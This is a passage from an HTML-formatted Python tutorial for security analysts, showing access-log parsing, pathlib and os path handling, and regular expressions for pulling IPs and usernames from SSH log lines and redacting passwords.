    &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeheader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writerows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Parse Apache/Nginx access logs
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="n"&gt;log_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;(\S+) \S+ \S+ \[(.+?)\] &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(\S+) (\S+) \S+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; (\d+) (\d+)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/access.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log_pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;groups&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;404: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; requested &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.5 Working with Paths
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;                &lt;span class="c1"&gt;# Modern, recommended
&lt;/span&gt;
&lt;span class="c1"&gt;# pathlib (Python 3.4+, always use this)
&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/ssh/sshd_config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# True/False
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_file&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                     &lt;span class="c1"&gt;# True
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_dir&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                      &lt;span class="c1"&gt;# False
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                        &lt;span class="c1"&gt;# /etc/ssh
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# sshd_config
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stem&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# sshd_config (no extension here)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suffix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                        &lt;span class="c1"&gt;# '' (no extension)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;st_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                &lt;span class="c1"&gt;# File size in bytes
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;st_mtime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# Modification timestamp
&lt;/span&gt;
&lt;span class="c1"&gt;# Build paths
&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;home&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                     &lt;span class="c1"&gt;# /home/kali or /root
&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;home&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;     &lt;span class="c1"&gt;# /home/kali/.ssh/config
&lt;/span&gt;
&lt;span class="c1"&gt;# List directory
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;iterdir&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_file&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Recursive glob
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;py_file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;rglob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sh_file&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;glob&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*.conf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sh_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# os module (older but still used)
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getcwd&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;                     &lt;span class="c1"&gt;# Current directory
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/results&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Create directory tree
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HOME&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                 &lt;span class="c1"&gt;# Get environment variable
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                     &lt;span class="c1"&gt;# List directory
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sshd_config&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Build path (os.path way)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. String Operations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Regular Expressions — The Security Analyst's Power Tool
&lt;/h3&gt;

&lt;p&gt;Regular expressions (regex) are patterns for matching, extracting, and manipulating text. They are indispensable for log analysis, data extraction, and input validation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="c1"&gt;# Basic matching
&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed password for root from 192.168.1.100 port 51234&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# re.search — find first match anywhere in string
&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;              &lt;span class="c1"&gt;# 192.168.1.100
&lt;/span&gt;
&lt;span class="c1"&gt;# re.findall — find all matches
&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hosts: 192.168.1.1, 10.0.0.1, 172.16.0.5 are down&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ips&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                             &lt;span class="c1"&gt;# ['192.168.1.1', '10.0.0.1', '172.16.0.5']
&lt;/span&gt;
&lt;span class="c1"&gt;# re.match — match at beginning of string
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Valid IP format&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# re.sub — replace
&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password=\S+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password=REDACTED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;db_password=s3cr3t123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                           &lt;span class="c1"&gt;# db_password=REDACTED
&lt;/span&gt;
&lt;span class="c1"&gt;# re.split — split on pattern
&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[\s,;]+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1, 10.0.0.1; 172.16.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                           &lt;span class="c1"&gt;# ['192.168.1.1', '10.0.0.1', '172.16.0.1']
&lt;/span&gt;
&lt;span class="c1"&gt;# Groups — extract parts of a pattern
&lt;/span&gt;&lt;span class="n"&gt;log_line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;May 29 10:00:01 server sshd[1234]: Accepted publickey for john from 10.10.14.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Accepted \w+ for (\w+) from ([\d.]+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;log_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# john
&lt;/span&gt;    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="c1"&gt;# 10.10.14.5
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; logged in from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Named groups — cleaner code
&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Accepted \w+ for (?P&amp;lt;user&amp;gt;\w+) from (?P&amp;lt;ip&amp;gt;[\d.]+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;log_line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;         &lt;span class="c1"&gt;# john
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;           &lt;span class="c1"&gt;# 10.10.14.5
&lt;/span&gt;
&lt;span class="c1"&gt;# Compile pattern for reuse (performance)
&lt;/span&gt;&lt;span class="n"&gt;ip_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\b(?:\d{1,3}\.){3}\d{1,3}\b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Now use: ip_pattern.search(), ip_pattern.findall(), etc.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
